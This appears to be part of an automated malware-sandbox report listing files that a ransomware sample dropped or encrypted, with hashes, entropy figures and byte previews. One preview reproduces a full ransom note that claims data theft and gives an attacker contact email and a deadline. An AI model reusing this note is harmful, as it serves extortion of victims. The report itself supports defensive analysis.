SHA1:3AB7572842A7BA4C3EBCA81B2ADF4BF5F4536FD8
SHA-256:2AFD730FFF86D2BDA0E4F7A652E4F15CF6AFBE6DB4A181511E66BB7AFD927371
SHA-512:0374C181D99AE80E264F233D2EB81C4AC7FC86E5DB4575C882F13040F18B1C6340D4C2BA6A107BBABCE20A967DDDB66A45FE9682196F6FD96FA45ECA86D9A337
Malicious:true
Preview::..I..m...f.....De...Y#.....Z..(.?......W._.....l......c..L..}<^.J....{i..5......G..T..`0:r.XZ.?.$.i.....1:,.T..Ah..R.(.k\l.7..h...S.h.0HQ..2.x..,."dRr.....k...s$y.....Z..........v.:.k...5.2:{A...........cX.M.T...F."h.wJ..P!..X..7.HX[H4...#...h...H..eR.w.@..p...gC..L:4.f.k9E..[...[}x#d.........l\'.5...(.g..%`...?.....6...^OWr-....Tz9 .....5.Rpr..a..>.O......r.%.`C..-la..(.....Q..`d.l....a...U.O.`.q.EI.a*.$....6....$P.3..c...U$..Nqn."..q....$.a\hp.bN<..h..V...*.O.9[!N....~....+'K.V#..9...MM..7/..,..'....,.J.ps...y..FvY..U-...!j.^..G.Z..]c`;..5.0...'.w..f...,.}....W..<.T..1..+.H..|.F..:...4=,..{?_.....CO...%5....Tgvr...s..D.,k...kw.[.6...v..f.4h...;...y-........<[...X.|..a.,....f...!T...s.C......{.N.P....6...?.QG9.nF..>...U*\...a...u&.S.|.....#R.....zx......i3.D......AK[.h..nm...&..f.&...qg...qKPR...*PF....KR.G......B.cD9._.....6.....i....>.h.r/].rzS.U.w...].Un.&O......U..........M.V.\.x..[2...E..3....#.O......l]..\5dJE.D...T.(_G....

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5809
Entropy (8bit):7.967026440820794
Encrypted:false
SSDEEP:
MD5:56170091A723944A9219CF7F50AA71CD
SHA1:A6C63F0B8B2EDA2C950850CA46F9EAB2E8793370
SHA-256:9E1E7E00925E86B0E59C2363CEA89E6F114774F3BED563EF3B8AE1C23C00B8AE
SHA-512:D408FA27BA45D517FD339F2BE940DBB64AD936AC474A94482CB0F46E104F4B85115259FA2AB2112F21A3E036D7FA50C8DC2932D8CC97B47854226C903FC5D776
Malicious:false
Preview:.v...[..R8..1.AbD.vHu.v..v.Q..m...IZ.....<D..kr.I.....}.*...O..W."..J..6.......c?)m.}.....nZ.;.H..,.n...c..U..... '...J.A[2...j..t.x..{.^qnTh...^{...%].....Z..:.....u.[.....S.$...?......K...Xs.@.=.....i.l... .<US.....i.m..'...F]......._...+.....,.FI...\....$..qi..P..,..b.*.......z..f..>....(....|. .....B...P..m6\Yo..0..Ep*.re..4..q.9.@`...w^.4..4.8......%....7.Uu..1.sX...&,D ..qC.g..QW..O.jR\6....V..G.=(.j..6.[......^o.4......L.#`.LEQ...g.pG.,..%....^.`..A....y.ak7.....".Y...<..`.}?....5..NB...o.29..........;...~.8s..........|..@:)F..R.m.W.......QX.%<..)U....w.=ux .4g=..~(.i.c.k7...Gb...s-.....).F...~.5F ..../....dr..J..T..<6X.K.....J...07.......gx.H...A5..-..o.h..D*...s....."L-........W..!.(r..:u.F.".@..V(...r.k..J.g..Hj..>....`..<..v.*L..K.p........M!..^....J.Q.2d...U.P..._..7!t..`.j.d....Iwq.....Z-.......?......+...Y.$....y.!...r.]h:.1....n.$aV...._q..O.....a._.D....v...E...p>$@*ar..R..E..Ey.....u4O~.......r...g.G .. q.....R.

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5809
Entropy (8bit):7.967026440820794
Encrypted:false
SSDEEP:
MD5:56170091A723944A9219CF7F50AA71CD
SHA1:A6C63F0B8B2EDA2C950850CA46F9EAB2E8793370
SHA-256:9E1E7E00925E86B0E59C2363CEA89E6F114774F3BED563EF3B8AE1C23C00B8AE
SHA-512:D408FA27BA45D517FD339F2BE940DBB64AD936AC474A94482CB0F46E104F4B85115259FA2AB2112F21A3E036D7FA50C8DC2932D8CC97B47854226C903FC5D776
Malicious:false
Preview:.v...[..R8..1.AbD.vHu.v..v.Q..m...IZ.....<D..kr.I.....}.*...O..W."..J..6.......c?)m.}.....nZ.;.H..,.n...c..U..... '...J.A[2...j..t.x..{.^qnTh...^{...%].....Z..:.....u.[.....S.$...?......K...Xs.@.=.....i.l... .<US.....i.m..'...F]......._...+.....,.FI...\....$..qi..P..,..b.*.......z..f..>....(....|. .....B...P..m6\Yo..0..Ep*.re..4..q.9.@`...w^.4..4.8......%....7.Uu..1.sX...&,D ..qC.g..QW..O.jR\6....V..G.=(.j..6.[......^o.4......L.#`.LEQ...g.pG.,..%....^.`..A....y.ak7.....".Y...<..`.}?....5..NB...o.29..........;...~.8s..........|..@:)F..R.m.W.......QX.%<..)U....w.=ux .4g=..~(.i.c.k7...Gb...s-.....).F...~.5F ..../....dr..J..T..<6X.K.....J...07.......gx.H...A5..-..o.h..D*...s....."L-........W..!.(r..:u.F.".@..V(...r.k..J.g..Hj..>....`..<..v.*L..K.p........M!..^....J.Q.2d...U.P..._..7!t..`.j.d....Iwq.....Z-.......?......+...Y.$....y.!...r.]h:.1....n.$aV...._q..O.....a._.D....v...E...p>$@*ar..R..E..Ey.....u4O~.......r...g.G .. q.....R.

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeMUISet.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1566
Entropy (8bit):7.857520357360174
Encrypted:false
SSDEEP:
MD5:DE21258643D1C3A605D2F991F5EA3EA2
SHA1:3AEC53AC41D78A34A82351B3C14E8EC9AC515A55
SHA-256:2E10D8FF2DB64A4E333C90582AF3239DA30F1535E2729E20758C05345D45A47B
SHA-512:A028CC99D8D1E11BCB521418E1E3C5DD8DAA8D692AAFD510C4F11FE1579BCEDB95EB331575A2AB09A9A93E85E7C4C8B7C72B603A42896FB1DC005EC54E281A2F
Malicious:false
Preview:.j.(w9......`r...v.P.$$...I..O...S..S0.d./.]....~iG......>.....=l........+..ULJ....#..m;....YA..L..Q.Eer.O...d9..5..Zb..S...qqF.)......6.o7..x|..Q....7Fg.....F..Z...$as...o.,.?o..]].-.\..9.a>.R:...9&..3.dO&.[-.....yj......n.....5.Tz.rA...L...c=.k:...[.Aq../..2...R......bYdD=I^M..?.l/...y..N.Ovm........l...S....BKl..N.w.....V.&.Z.q.T.i.S.z....p..h:...>p..3i....+..>Ms.z...).....rzj...#.^[......O..s..)..[...~NH..m..~..e....8.?.*H./..W.jy.p.#b...pL..|8.../..sBk..!r..PG.......;5.b..y ...[...Qk:rL.3(.{......d.R..i.d^6...5mgw.....@.c|..8..%;G...C....<U.b..c....=...o:.qI(....)...#.*.>...c.....g.*x....(...a.*...>6 .I.Jt..{.1P%.3..-./#........]._.gG..>..........$]Qn}G..a9..8..I.........Oc......T.~^.s..<..;rBS....5.J..[..W......xwB...=..^kWa..iu....a.Q...%...P....*..zw^mO.C.$.a. *...-.b5.5..u./....5\.......n.B;...'........LP....!!...@..q...-e.......a.I.Oc/...@....(#.^.j..h.K.....Hj...2."3s..4...W0A.DTF/I~nG..r...c;........1.D._.ri. .f....c.........

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeMUISet.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1566
Entropy (8bit):7.857520357360174
Encrypted:false
SSDEEP:
MD5:DE21258643D1C3A605D2F991F5EA3EA2
SHA1:3AEC53AC41D78A34A82351B3C14E8EC9AC515A55
SHA-256:2E10D8FF2DB64A4E333C90582AF3239DA30F1535E2729E20758C05345D45A47B
SHA-512:A028CC99D8D1E11BCB521418E1E3C5DD8DAA8D692AAFD510C4F11FE1579BCEDB95EB331575A2AB09A9A93E85E7C4C8B7C72B603A42896FB1DC005EC54E281A2F
Malicious:false
Preview:.j.(w9......`r...v.P.$$...I..O...S..S0.d./.]....~iG......>.....=l........+..ULJ....#..m;....YA..L..Q.Eer.O...d9..5..Zb..S...qqF.)......6.o7..x|..Q....7Fg.....F..Z...$as...o.,.?o..]].-.\..9.a>.R:...9&..3.dO&.[-.....yj......n.....5.Tz.rA...L...c=.k:...[.Aq../..2...R......bYdD=I^M..?.l/...y..N.Ovm........l...S....BKl..N.w.....V.&.Z.q.T.i.S.z....p..h:...>p..3i....+..>Ms.z...).....rzj...#.^[......O..s..)..[...~NH..m..~..e....8.?.*H./..W.jy.p.#b...pL..|8.../..sBk..!r..PG.......;5.b..y ...[...Qk:rL.3(.{......d.R..i.d^6...5mgw.....@.c|..8..%;G...C....<U.b..c....=...o:.qI(....)...#.*.>...c.....g.*x....(...a.*...>6 .I.Jt..{.1P%.3..-./#........]._.gG..>..........$]Qn}G..a9..8..I.........Oc......T.~^.s..<..;rBS....5.J..[..W......xwB...=..^kWa..iu....a.Q...%...P....*..zw^mO.C.$.a. *...-.b5.5..u./....5\.......n.B;...'........LP....!!...@..q...-e.......a.I.Oc/...@....(#.^.j..h.K.....Hj...2."3s..4...W0A.DTF/I~nG..r...c;........1.D._.ri. .f....c.........

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):9017
Entropy (8bit):7.981345725067073
Encrypted:false
SSDEEP:
MD5:84563F65EE7DF879774E751BAD0C7F0C
SHA1:1D9E89E78BF533B88F91F60B254C1425CADAE313
SHA-256:3DCB01BF0DDBE6E3CEA908B0DBBBFD551B5B60BD1D8864E678E8A0E9E9853A31
SHA-512:8A7B33282039554A031AFEE05DE2806F889E62A84D4BAF7609F9EE16BA36CDD7061FB40534CB23DAA301167E793B511EAC2EAF6EA8D74161B6FDE86FD1B1F0E7
Malicious:false
Preview:..7.....5.......8.......;y<:.....|.*{...j.2N....f.jr.w.|...vV.'.|....7k.xB..p......Z)6...c..b.b.A..b.n...\.k.L.m.Hss..o.jD,p......8...dm..._..RC.P....b...d.....i...T.R>.#]....g\.F.Zf....l;.B.*L&.....z.....9P?..8.v..QK.T....eXd....T..h..+...q.Cp#l.$.E_......i........kq.d..+..6.F...."...l.K.~%.~>.52..w...p..Af..g.!.q.............^...c...'D..X.,.b...?.F...E....3...)..8y.....]..y.....1.w..y...]=]..Q..!.....r..J.y.A[..........)S..b.........?w..^'...L...R*]..hvJo.T%b..d.0. 6(0T..$..S....{f....v..y...7 .c....7.R....u8...+GUn.*~4h.g.I..9Ks.H..\.....sV...D.........c..@...0..a...Ec8G..(!i....o.P..Zap.Z3.h..IGKh..maZU.......y..I+...~.....N.P"..s..Ev..~.!.....Bg.V.<.vo1`cw.T.....YQ.Ds"~...........=Kp.._.K..../....k...7......G..8...q.e,.>B....'.9,`.$9.d|....V..'...>Vp0.Ly.s.........j.q.)0.Dw.V=o5n........{..z.......'..)....z_....[..9...E]X..ixeVFy...p...L..W.e..FT...2a.':....4........<.u.~.j.L........u...e1..k...1.'.F....;.HD....\..>!.

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):9017
Entropy (8bit):7.981345725067073
Encrypted:false
SSDEEP:
MD5:84563F65EE7DF879774E751BAD0C7F0C
SHA1:1D9E89E78BF533B88F91F60B254C1425CADAE313
SHA-256:3DCB01BF0DDBE6E3CEA908B0DBBBFD551B5B60BD1D8864E678E8A0E9E9853A31
SHA-512:8A7B33282039554A031AFEE05DE2806F889E62A84D4BAF7609F9EE16BA36CDD7061FB40534CB23DAA301167E793B511EAC2EAF6EA8D74161B6FDE86FD1B1F0E7
Malicious:false
Preview:..7.....5.......8.......;y<:.....|.*{...j.2N....f.jr.w.|...vV.'.|....7k.xB..p......Z)6...c..b.b.A..b.n...\.k.L.m.Hss..o.jD,p......8...dm..._..RC.P....b...d.....i...T.R>.#]....g\.F.Zf....l;.B.*L&.....z.....9P?..8.v..QK.T....eXd....T..h..+...q.Cp#l.$.E_......i........kq.d..+..6.F...."...l.K.~%.~>.52..w...p..Af..g.!.q.............^...c...'D..X.,.b...?.F...E....3...)..8y.....]..y.....1.w..y...]=]..Q..!.....r..J.y.A[..........)S..b.........?w..^'...L...R*]..hvJo.T%b..d.0. 6(0T..$..S....{f....v..y...7 .c....7.R....u8...+GUn.*~4h.g.I..9Ks.H..\.....sV...D.........c..@...0..a...Ec8G..(!i....o.P..Zap.Z3.h..IGKh..maZU.......y..I+...~.....N.P"..s..Ev..~.!.....Bg.V.<.vo1`cw.T.....YQ.Ds"~...........=Kp.._.K..../....k...7......G..8...q.e,.>B....'.9,`.$9.d|....V..'...>Vp0.Ly.s.........j.q.)0.Dw.V=o5n........{..z.......'..)....z_....[..9...E]X..ixeVFy...p...L..W.e..FT...2a.':....4........<.u.~.j.L........u...e1..k...1.'.F....;.HD....\..>!.

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\ShellUI.MST

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11286
Entropy (8bit):7.982782927458151
Encrypted:false
SSDEEP:
MD5:471D741BFFF53F03400F55DBD498A15E
SHA1:61CF08D4ED53D4D158B85B0B60677C13110D5F66
SHA-256:62457D6B503358F63E97242B8CBC696F8B0DF4D9455F16935CC9892DE927F177
SHA-512:DBC0A8CE80CA00512D9166FCA536007345EB800C908B743DCAF5DAED3B10C3671F5F284D1A5518191E1BB99031C8A983E3F415FDEA9E558AC719C8E724282DEF
Malicious:false
Preview:<..5...\.G..B..9U].8W..6.....O..f...e.7...=n9vY.....u6AH.c|.....,BcnTFf8....z2.[....]h...ufV~.d....yqq..d.n.......u.YV.2.y.w.w.'.....dj...}9...|..0..F..j.fO.Zb.P.....rw...n.+...|..p.].r.G.r.o.......l.g..2p....02;....."jO.t.$t%....b..I.l)"SSn..v$B...R.:..3.fV.FQ.OW.z...9@^" 0...P.......|..14.c.mod.i[........g....t.l...(q....uj.[|.S.0...<...>KKC.g-..{f...p.Mk....F]....t_.\|rDPz.&...6.......3g....-*...z.A..l.=.EX..5.g.5^.J...e..+.`.QL.....&g.....5..I.CR.+.w. ...zz]._...I2E9....3.c.S.5...)m.7.._Rh.)...{...........R.H.........".t..E*B....a'.cR..............G ..1.K.rV..I$Yyd+1%"eN....C..h..vP..Qo.......h...4.9.w....^Cd.Tl.y..:1.*n.kd..<e)H._.tGfQ..1d........|r..M..yN...i.....Kp:t..... .....0h.H..$....96.?..z1.kgC.YbD.e...4.._.P..v...".+.>]>....J%y.n.g..{..........iy.....:.=.d.......+ss^{.N...;6q.J..zW..p.1.;.z.{!-.n..f+.o^Q..)...@J..T..g.b..2.z.........9.o...X.\..........h.jH&.^..Z.5l.."H.{.o8.t.,......[..c...............@..9.Q..T.v@..+.#.d...a..

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\ShellUI.MST.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11286
Entropy (8bit):7.982782927458151
Encrypted:false
SSDEEP:
MD5:471D741BFFF53F03400F55DBD498A15E
SHA1:61CF08D4ED53D4D158B85B0B60677C13110D5F66
SHA-256:62457D6B503358F63E97242B8CBC696F8B0DF4D9455F16935CC9892DE927F177
SHA-512:DBC0A8CE80CA00512D9166FCA536007345EB800C908B743DCAF5DAED3B10C3671F5F284D1A5518191E1BB99031C8A983E3F415FDEA9E558AC719C8E724282DEF
Malicious:false
Preview:<..5...\.G..B..9U].8W..6.....O..f...e.7...=n9vY.....u6AH.c|.....,BcnTFf8....z2.[....]h...ufV~.d....yqq..d.n.......u.YV.2.y.w.w.'.....dj...}9...|..0..F..j.fO.Zb.P.....rw...n.+...|..p.].r.G.r.o.......l.g..2p....02;....."jO.t.$t%....b..I.l)"SSn..v$B...R.:..3.fV.FQ.OW.z...9@^" 0...P.......|..14.c.mod.i[........g....t.l...(q....uj.[|.S.0...<...>KKC.g-..{f...p.Mk....F]....t_.\|rDPz.&...6.......3g....-*...z.A..l.=.EX..5.g.5^.J...e..+.`.QL.....&g.....5..I.CR.+.w. ...zz]._...I2E9....3.c.S.5...)m.7.._Rh.)...{...........R.H.........".t..E*B....a'.cR..............G ..1.K.rV..I$Yyd+1%"eN....C..h..vP..Qo.......h...4.9.w....^Cd.Tl.y..:1.*n.kd..<e)H._.tGfQ..1d........|r..M..yN...i.....Kp:t..... .....0h.H..$....96.?..z1.kgC.YbD.e...4.._.P..v...".+.>]>....J%y.n.g..{..........iy.....:.=.d.......+ss^{.N...;6q.J..zW..p.1.;.z.{!-.n..f+.o^Q..)...@J..T..g.b..2.z.........9.o...X.\..........h.jH&.^..Z.5l.."H.{.o8.t.,......[..c...............@..9.Q..T.v@..+.#.d...a..

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\branding.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):336847
Entropy (8bit):7.999465347483701
Encrypted:true
SSDEEP:
MD5:71619882E32BBB1EC59C63321FD4E3D3
SHA1:993C9CF3B4C334965B930451AC37B6E4829B1BB7
SHA-256:1708E2D189A88BB2B3C09064734C9446339F5407E619FD9BC78477BD42D03353
SHA-512:069296CFAA963902E176E9F0DACFFECC7E952641E01FA65B9ACBE299AE8872EFFD82D8C10129F69DFAE221221F8F976A81B898C569DE4D292CF2981AB9738A13
Malicious:true
Preview:...A.Pt.l.&.......<..&M....u...........u..5uc...M..'..#d.Sc...#......b.!E.....G....6x.......v..q..7.].+....+~..f.8h..v.I.R.......<......Uj.[...ZV.>.V...(:.b.X....I...3..........->....}..s?Y...@.....pP.....1..h.....L.:...F.....e..I?.Y....XV+.../.W....>.`+.*......e.i..y"..../.5N...Q..Jw.......$f...5.:p.T..?..X...#9..+.^s.%./.f-.M|..N. `.IS.q..L..4.|R.......<.<.6.6l..l..R....+.g.z2K..3..i..5.m...s.6H.m.q...G.q.}E...T.l.i...e.V..i).Z......7...*C...%..GY...r.=:....Mtn."..L.../x.Z...w..S.QRM4.f.$.K.R.........;4..6.x...i./WG|0!...c..`..P../s*.~P....J.....w...l.{(.B.$..n..km.oK!......SK1.J..LW.....U.....3a..Z=..<(..cn...B.DG.u!.d...6....B4...[......@..i.0.B.a.l....k\.....Yz.3...@. ...B.y...oG..2./..j/.v..x6.M.....9%.J..%.B.Hu.%......w....30l0z........c...y5_.......q!...../\FKO.s.N.H.R.......}.TK...0.s.;../...}s.jYD.@AY...t....A...WGyvU.>W..sC....7.1.Y.1.....b..g.w........8..O.Y....S....i:(.1.j.^.Q`LPY$o.h..r...M9O.4......~..t......6.....@.i....l

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\branding.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):336847
Entropy (8bit):7.999465347483701
Encrypted:true
SSDEEP:
MD5:71619882E32BBB1EC59C63321FD4E3D3
SHA1:993C9CF3B4C334965B930451AC37B6E4829B1BB7
SHA-256:1708E2D189A88BB2B3C09064734C9446339F5407E619FD9BC78477BD42D03353
SHA-512:069296CFAA963902E176E9F0DACFFECC7E952641E01FA65B9ACBE299AE8872EFFD82D8C10129F69DFAE221221F8F976A81B898C569DE4D292CF2981AB9738A13
Malicious:true
Preview:...A.Pt.l.&.......<..&M....u...........u..5uc...M..'..#d.Sc...#......b.!E.....G....6x.......v..q..7.].+....+~..f.8h..v.I.R.......<......Uj.[...ZV.>.V...(:.b.X....I...3..........->....}..s?Y...@.....pP.....1..h.....L.:...F.....e..I?.Y....XV+.../.W....>.`+.*......e.i..y"..../.5N...Q..Jw.......$f...5.:p.T..?..X...#9..+.^s.%./.f-.M|..N. `.IS.q..L..4.|R.......<.<.6.6l..l..R....+.g.z2K..3..i..5.m...s.6H.m.q...G.q.}E...T.l.i...e.V..i).Z......7...*C...%..GY...r.=:....Mtn."..L.../x.Z...w..S.QRM4.f.$.K.R.........;4..6.x...i./WG|0!...c..`..P../s*.~P....J.....w...l.{(.B.$..n..km.oK!......SK1.J..LW.....U.....3a..Z=..<(..cn...B.DG.u!.d...6....B4...[......@..i.0.B.a.l....k\.....Yz.3...@. ...B.y...oG..2./..j/.v..x6.M.....9%.J..%.B.Hu.%......w....30l0z........c...y5_.......q!...../\FKO.s.N.H.R.......}.TK...0.s.;../...}s.jYD.@AY...t....A...WGyvU.>W..sC....7.1.Y.1.....b..g.w........8..O.Y....S....i:(.1.j.^.Q`LPY$o.h..r...M9O.4......~..t......6.....@.i....l

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\pss10r.chm

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):15132
Entropy (8bit):7.987633603740467
Encrypted:false
SSDEEP:
MD5:2326B84F523D968D641623F9AD56B484
SHA1:5908F5BA7DC3A81E43CAC0FEF02382BEB6B5E7F8
SHA-256:E90FCB465442B68EE9EC030020888A736AAE232A815DB5BF0B4692DF80AC237E
SHA-512:DF00F8197A23B543FC62B9730E8A375E1FDEBCC1BEC3E6D6C7B660B312C5146ACAC1CBDFA55CF2863EB9D949CB8FDCB306B1F14E362B861A4A765DEFB3330D5D
Malicious:false
Preview:.../.*...O...3._.D......NG.....+M....3l..&^..m...'....T\L......Z]..*DA~...Sm.....E.....-.3..E.oT.a...F...p..36...#<..:C......\...5i;...#..4..1.r..Af.r.*+q.@(G.m.o.1.k.......!...`.Vwl.3[..={S....a>..g3.oD....;_.U..mP)..je.=|.tI...P0......'..dwf.....)^!..Su...+...VKz-.7.....>."...~......Q..C[r.c.@._....Z^_.3A..%..WG..z......rD...!.sn.H..!.iG49R".....3...z.r6.....alg.O.7..,>65].h1L.c..01..r*..O.L..._.h5..Y...G....,..... ..H.;.7J...2..|\..u..9...i.y.]gK...C2....`.../9........!f..$W...#...O.y.......ti..7.o.............}=Lx.iO"{..~.?......-.!...}..7J.<*.0;.........9..F...;0LY...@.....]85IuT7.....C].........(..k.<...@Ff...0..Q..j)El(..)...I.MJ..i5[..y.M.{h_...Z...K..>..-.H.........:E_....P.....l.H=.......c..k...1}#.....g....h......E..<...(..._.U...X:....w.".(..{.p.#...^...n.-.'...[.^rC.~.P. ...E.#.....I...t...6.........5{...K:..|y.{v..Ynf9.#NW.0n......&ke..1..s.X..%..>........J....V...G..8.@.!...Sr......O....t..<..'..'.q..2...X..y....

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\pss10r.chm.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):15132
Entropy (8bit):7.987633603740467
Encrypted:false
SSDEEP:
MD5:2326B84F523D968D641623F9AD56B484
SHA1:5908F5BA7DC3A81E43CAC0FEF02382BEB6B5E7F8
SHA-256:E90FCB465442B68EE9EC030020888A736AAE232A815DB5BF0B4692DF80AC237E
SHA-512:DF00F8197A23B543FC62B9730E8A375E1FDEBCC1BEC3E6D6C7B660B312C5146ACAC1CBDFA55CF2863EB9D949CB8FDCB306B1F14E362B861A4A765DEFB3330D5D
Malicious:false
Preview:.../.*...O...3._.D......NG.....+M....3l..&^..m...'....T\L......Z]..*DA~...Sm.....E.....-.3..E.oT.a...F...p..36...#<..:C......\...5i;...#..4..1.r..Af.r.*+q.@(G.m.o.1.k.......!...`.Vwl.3[..={S....a>..g3.oD....;_.U..mP)..je.=|.tI...P0......'..dwf.....)^!..Su...+...VKz-.7.....>."...~......Q..C[r.c.@._....Z^_.3A..%..WG..z......rD...!.sn.H..!.iG49R".....3...z.r6.....alg.O.7..,>65].h1L.c..01..r*..O.L..._.h5..Y...G....,..... ..H.;.7J...2..|\..u..9...i.y.]gK...C2....`.../9........!f..$W...#...O.y.......ti..7.o.............}=Lx.iO"{..~.?......-.!...}..7J.<*.0;.........9..F...;0LY...@.....]85IuT7.....C].........(..k.<...@Ff...0..Q..j)El(..)...I.MJ..i5[..y.M.{h_...Z...K..>..-.H.........:E_....P.....l.H=.......c..k...1}#.....g....h......E..<...(..._.U...X:....w.".(..{.p.#...^...n.-.'...[.^rC.~.P. ...E.#.....I...t...6.........5{...K:..|y.{v..Ynf9.#NW.0n......&ke..1..s.X..%..>........J....V...G..8.@.!...Sr......O....t..<..'..'.q..2...X..y....

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\setup.chm

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):83324
Entropy (8bit):7.997974437435587
Encrypted:true
SSDEEP:
MD5:A6B2AC684CF0822C4E7E113C6EA75A75
SHA1:1C6386E2549DE44263602FADABC9F24D26A0C5F7
SHA-256:668000D8188A749252E96367119A8CF42186EF89D6B69247222933CA24C03510
SHA-512:018F60B6BCA9D225CF45144C7ED0EC2ECC965F4C1BD20918C13BC38CF6D1ED625D8218292288F73F9229B202073AC977210FBAB68BFC00828468447267B95F84
Malicious:true
Preview:..L./?.9....i..a"F.....Y=.%D#(.....Sd...~.z.......,$[M.0.........S..=..e...h..|x5a..'.#....U.UN...5.?.-....2;.,..U.Q....*Z....'..>.Z..........R..O.UH....",&P.....n....`.q....fX........=.3/.G./..l.M...;..\....W...k$ .@.=.7B".Fm>...x.DH.W(..4.u...~...3.)...JR:'..b.u...>..O..5m......P....(.Sj.B..x.r.....,..T`4.8.>..>.....#.:N....{...}.C....'.0.G2..f......4.N..i.....g6b./U.WL7b.YLP.....2&...R.4..\........Kn..k.7....%.......O'.. .....vu.m2..M..,.we...K.h........?+.@...w......*.^N.Y.x....r.(..0.L......YC.~6..]....L.m..y\.x.....t...(~s:..q...<<..d.Eo~.c...`po.._..T.f..}..Y0.e.....>V....K{CzZa...r..Q.j@ . ..2.h...."..D.....T.R.]}_.T...L..&A.....2.......|h.0..m...Wr....m~....:.p..q.0zD4`...u...D.K....4..b.9.;..Z....r.l.~..g.&.v........QX.A1.E..|i...3..<|...~.N.m...X6.4..wo.......L.]i.maE.w.#.........Q....V..I..).rh5..4.;....6..*{....Gr.wE.+..A.y..>..5..Gc.......i.....k.l'|D...pD.G.}.D...B<p.A.. X....5..O...;u<...dA...I^+.2u..s.)....`l?.

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\setup.chm.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):83324
Entropy (8bit):7.997974437435587
Encrypted:true
SSDEEP:
MD5:A6B2AC684CF0822C4E7E113C6EA75A75
SHA1:1C6386E2549DE44263602FADABC9F24D26A0C5F7
SHA-256:668000D8188A749252E96367119A8CF42186EF89D6B69247222933CA24C03510
SHA-512:018F60B6BCA9D225CF45144C7ED0EC2ECC965F4C1BD20918C13BC38CF6D1ED625D8218292288F73F9229B202073AC977210FBAB68BFC00828468447267B95F84
Malicious:true
Preview:..L./?.9....i..a"F.....Y=.%D#(.....Sd...~.z.......,$[M.0.........S..=..e...h..|x5a..'.#....U.UN...5.?.-....2;.,..U.Q....*Z....'..>.Z..........R..O.UH....",&P.....n....`.q....fX........=.3/.G./..l.M...;..\....W...k$ .@.=.7B".Fm>...x.DH.W(..4.u...~...3.)...JR:'..b.u...>..O..5m......P....(.Sj.B..x.r.....,..T`4.8.>..>.....#.:N....{...}.C....'.0.G2..f......4.N..i.....g6b./U.WL7b.YLP.....2&...R.4..\........Kn..k.7....%.......O'.. .....vu.m2..M..,.we...K.h........?+.@...w......*.^N.Y.x....r.(..0.L......YC.~6..]....L.m..y\.x.....t...(~s:..q...<<..d.Eo~.c...`po.._..T.f..}..Y0.e.....>V....K{CzZa...r..Q.j@ . 